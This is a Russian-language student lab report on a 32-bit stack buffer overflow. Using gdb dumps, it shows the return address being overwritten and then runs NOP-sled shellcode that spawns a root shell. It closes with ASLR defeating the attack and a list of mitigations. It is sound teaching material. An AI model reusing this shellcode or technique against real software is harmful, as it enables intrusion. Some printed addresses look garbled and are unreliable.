

Лабораторная работа №1

Губанов Пётр, С01-019

2 мая 2025 г.

1. Запустим программу по выводу регистра esp с включенным ASLR.

```
root@ghost:~/lab# echo 1 > /proc/sys/kernel/randomize_va_space
root@ghost:~/lab# ./esp
$esp = 0xffff35e80
root@ghost:~/lab# ./esp
$esp = 0xff86f220
root@ghost:~/lab# ./esp
$esp = 0xffa90060
root@ghost:~/lab# date
Thu May 1 19:36:28 UTC 2025
root@ghost:~/lab# ./esp
$esp = 0xffb2bfd0
root@ghost:~/lab# hexdump -n 16 -e '4/4 "%08X" 1 "\n"' /dev/random
8904CA8704AA2F81A37A0464130A54EA
root@ghost:~/lab# ./esp
$esp = 0xffd132a0
root@ghost:~/lab# /sbin/dmidecode | grep UUID
        UUID: 3f1558db-0e47-e843-b855-fdcd1389895a
root@ghost:~/lab# ./esp
$esp = 0xffff3f940
```

2. Запустим программу по выводу регистра esp с выключенным ASLR.

```
root@ghost:~/lab# echo 0 > /proc/sys/kernel/randomize_va_space
root@ghost:~/lab# ./esp
$esp = 0xfffffdca0
root@ghost:~/lab# ./esp
$esp = 0xfffffdca0
root@ghost:~/lab# ./esp
$esp = 0xfffffdca0
root@ghost:~/lab# date
Thu May 1 19:40:40 UTC 2025
root@ghost:~/lab# ./esp
$esp = 0xfffffdca0
root@ghost:~/lab# hexdump -n 16 -e '4/4 "%08X" 1 "\n"' /dev/random
29B3BB11E0D8B26567C81F2C6E3FE18E
root@ghost:~/lab# ./esp
$esp = 0xfffffdca0
root@ghost:~/lab# /sbin/dmidecode | grep UUID
        UUID: 3f1558db-0e47-e843-b855-fdcd1389895a
root@ghost:~/lab# ./esp
$esp = 0xfffffdca0
```

3. Попытаемся скомпилировать предоставленный код.

Вывод компилятора

```
root@ghost:~/lab# gcc -g -m32 -z execstack -no-pie -o bo1 bo1.c -mpreferred-stack-boundary=4

bo1.c: In function 'main':
bo1.c:4:2: warning: implicit declaration of function 'copier'; did you mean 'popen'?
      [-Wimplicit-function-declaration]
  copier(argv[1]);
  ~~~~~
  popen
```

4. Программа успешно скомпилировалась. Однако, компилятор не может найти функцию с названием `copier`. Всё потому что её сигнатура объявлена позже первого использования. Корректным исправлением будет добавление прототипа функции в самом начале. Таким образом получится:

Исправленный код

```
#include <string.h>
#include <stdio.h>

int copier(char *str);

void main(int argc, char *argv[]) {
    copier(argv[1]);
    printf("Done!\n");
}

int copier(char *str) {
    char buffer[100];
    strcpy(buffer, str);
}
```

Флаг компилятора `-mpreferred-stack-boundary=4` устанавливает выравнивание стека на $2^4 = 16$ байт.

```
root@ghost:~/lab# date
Thu May  1 20:01:02 UTC 2025
root@ghost:~/lab# hexdump -n 8 -e '4/4 "%08X" 1 "\n"' /dev/urandom
0BCD39C44DC98386
root@ghost:~/lab# ./bo1 A
Done!
root@ghost:~/lab# /sbin/dmidecode | grep UUID
        UUID: 3f1558db-0e47-e843-b855-fdcd1389895a
root@ghost:~/lab# ./bo1 A
Done!
```

5. Причина возникновения ошибки `Segmentation fault (core dumped)` в том, что мы смогли перезаписать данные лежащие на стеке, так как размер стека 100, когда мы записали в него 116. Из-за чего мы смогли переписать лежащие в стеке указатели на функции возврата и при попытке вернуться в функцию `main` мы отправляемся по адресу `0x41414141`.

```
root@ghost:~/lab# date
Thu May  1 20:08:33 UTC 2025
root@ghost:~/lab# hexdump -n 8 -e '4/4 "%08X" 1 "\n"' /dev/urandom
B6A48CBFCA6B5260
root@ghost:~/lab# ./bo1 $(cat e1)
Segmentation fault (core dumped)
root@ghost:~/lab# /sbin/dmidecode | grep UUID
        UUID: 3f1558db-0e47-e843-b855-fdcd1389895a
```

6. Процесс отладки уязвимой программы в `gdb`. По скриншоту можно увидеть, что адрес возврата `0x0804919f`.

```

root@ghost:~/lab# gdb -q bol
Reading symbols from bol...done.
(gdb) list 4
1      #include <string.h>
2      #include <stdio.h>
3
4      void main(int argc, char *argv[]) {
5          copier(argv[1]);
6          printf("Done!\n");
7      }
8      int copier(char *str) {
9          char buffer[100];
10         strcpy(buffer, str);
(gdb) break 10
Breakpoint 1 at 0x80491d0: file bol.c, line 10.
(gdb) run A
Starting program: /root/lab/bol A

Breakpoint 1, copier (str=0xffffde7d "A") at bol.c:10
10         strcpy(buffer, str);
(gdb) info registers
eax             0x804c000          134529024
ecx             0xffffdc90          -9072
edx             0xffffdcb4          -9036
ebx             0x804c000          134529024
esp             0xffffdbe0          0xffffdbe0
ebp             0xffffdc58          0xffffdc58
esi             0xf7fc4000          -134463488
edi             0xf7fc4000          -134463488
eip             0x80491d0          0x80491d0 <copier+17>
eflags          0x216              [ PF AF IF ]
cs              0x23               35
ss              0x2b               43
ds              0x2b               43
es              0x2b               43
fs              0x0                0
gs              0x63               99
(gdb) x/40x $esp
0xffffdbe0:    0xf7ffdab0      0x00000001      0xf7fcc410      0x00000001
0xffffdbf0:    0x00000000      0x00000001      0xf7ffd950      0xf7f211fc
0xffffdc00:    0xf7f68362      0xf7ffdc50      0xffffdc28      0xf7ffde24
0xffffdc10:    0xffffdc60      0x00000000      0xf7ffd000      0x00000000
0xffffdc20:    0x00000000      0xffffdd24      0xf7fc4000      0xf7ee4157
0xffffdc30:    0x00000000      0x00080000      0xf7e1be59      0xf7fc7588
0xffffdc40:    0xf7fc4000      0xf7fc4000      0x00000000      0xf7e1bf9b
0xffffdc50:    0xf7fc43fc      0x0804c000      0xffffdc78      0x0804919f
0xffffdc60:    0xffffde7d      0xffffdd24      0xffffdd30      0x08049186
0xffffdc70:    0xffffdc90      0x00000000      0x00000000      0xf7e04b41

```

7. Прикладывая распечатку своего стека при вводе 116 букв А. По возникновению ошибки **Segmentation Fault** при измененной длине входящего сообщения можно предположить изменение адреса возврата. Адрес возврата можно увидеть в GDB при запуске (в нашем случае он стал равен 0x41414141).


```

(gdb) run $(cat e1)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/lab/bol $(cat e1)

Breakpoint 1, copier (str=0xffffde0a 'A' <repeats 116 times>) at bol.c:10
10      strcpy(buffer, str);
(gdb) n
11      }
(gdb) info registers
eax          0xffffdb7c          -9348
ecx          0xffffde70          -8592
edx          0xffffdbe2          -9246
ebx          0x804c000           134529024
esp          0xffffdb70          0xffffdb70
ebp          0xffffdbe8          0xffffdbe8
esi          0xf7fc4000          -134463488
edi          0xf7fc4000          -134463488
eip          0x80491e4           0x80491e4 <copier+37>
eflags      0x282              [ SF IF ]
cs          0x23                35
ss          0x2b                43
ds          0x2b                43
es          0x2b                43
fs          0x0                 0
gs          0x63                99
(gdb) x/40x $esp
0xffffdb70:  0xf7ffdab0  0x00000001  0xf7fcc410  0x41414141
0xffffdb80:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffdb90:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffdba0:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffdbb0:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffdbc0:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffdbd0:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffdbe0:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffdbf0:  0xffffde00  0xffffdcb4  0xffffdcc0  0x08049186
0xffffdc00:  0xffffdc20  0x00000000  0x00000000  0xf7e04b41

```

8. Запуск с подменным адресом возврата на 0x31323334.

```

(gdb) n
11      }
(gdb) info registers
eax          0xffffdb7c          -9348
ecx          0xffffde70          -8592
edx          0xffffdbe2          -9246
ebx          0x804c000           134529024
esp          0xffffdb70          0xffffdb70
ebp          0xffffdbe8          0xffffdbe8
esi          0xf7fc4000          -134463488
edi          0xf7fc4000          -134463488
eip          0x80491e4           0x80491e4 <copier+37>
eflags      0x282               [ SF IF ]
cs          0x23                35
ss          0x2b                43
ds          0x2b                43
es          0x2b                43
fs          0x0                 0
gs          0x63                99
(gdb) x/40x $esp
0xffffdb70: 0xf7ffdab0 0x00000001 0xf7fcc410 0x41414141
0xffffdb80: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdbc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdbd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdbe0: 0x41414141 0x41414141 0x41414141 0x34333231
0xffffdbf0: 0xffffde00 0xffffdcb4 0xffffdcc0 0x08049186
0xffffdc00: 0xffffdc20 0x00000000 0x00000000 0xf7e04b41

```

9. Прикладываю скриншот с распечаткой стека моей машины(произошел непланированный перезапуск виртуальной машины, поэтому в gdb некоторые адреса поменялись). Мой полученный адрес возврата 0xffffc1c.

```

root@ghost:~/lab# gdb -q bol
Reading symbols from bol...done.
(gdb) b 10
Breakpoint 1 at 0x80491d0: file bol.c, line 10.
(gdb) n
The program is not being run.
(gdb) r $(cat e4)
Starting program: /root/lab/bol $(cat e4)

Breakpoint 1, copier (
    str=0xbffffe3f '\220' <repeats 64 times>, "\061\300\211\027\322Rhn/shh//
    at bol.c:10
10             strcpy(buffer, str);
(gdb) n
11     }
(gdb) x/40x $esp
0xbffffbd0: 0xb7fffab0 0x00000001 0xb7fcf410 0x90909090
0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc10: 0x90909090 0x90909090 0x90909090 0xc389c031
0xbffffc20: 0x80cd17b0 0x6852d231 0x68732f6e 0x622f2f68
0xbffffc30: 0x52e38969 0x8de18953 0x80cd0b42 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0xffffdb80
0xbffffc50: 0xbffffe00 0xbffffd14 0xbffffd20 0x08049186
0xbffffc60: 0xbffffc80 0x00000000 0x00000000 0xb7e07b41

```

10. Ура, мы получили терминал и выполнили команду date.

```

root@ghost:~/lab# ./b4 > e4
root@ghost:~/lab# ./bol $(cat e4)
# ls
b1 b3 b4 bol bol.c e1 e2 e3 e4 esp esp.c p1
#
root@ghost:~/lab# ./bol $(cat e4)
# date
Thu May 1 21:11:54 UTC 2025
#

```

11. Чтобы правильно подобрать размер инжектированного кода самый надежный способ генерировать уникальные куски входных данных (например, последовательность де Брёйна) по размеру указателя, а затем указать строку подлиннее. Так же можно сделать это статически без запуска программы: достаточно знать структуру стека.
12. При попытке воспроизвести (после включения обратно ASLR) уязвимости получаем ожидаемый Segmentation fault.

```

root@ghost:~/lab# echo 1 > /proc/sys/kernel/randomize_va_space
root@ghost:~/lab# ./bol $(cat e4)
Segmentation fault (core dumped)

```

13. На этапе компиляции можно было установить канарейку поверх стека. На моменте написания кода можно было использовать strncpy с количественным указанием размера считываемого буфера. На этапе проектирования можно было выбрать другой язык программирования для этой программы. Если сделали

без митигаций и обработки ошибок на Си, то на этапе перед релизом можно было отправить на тестирование или подвергнуть фаззинг-тестированию.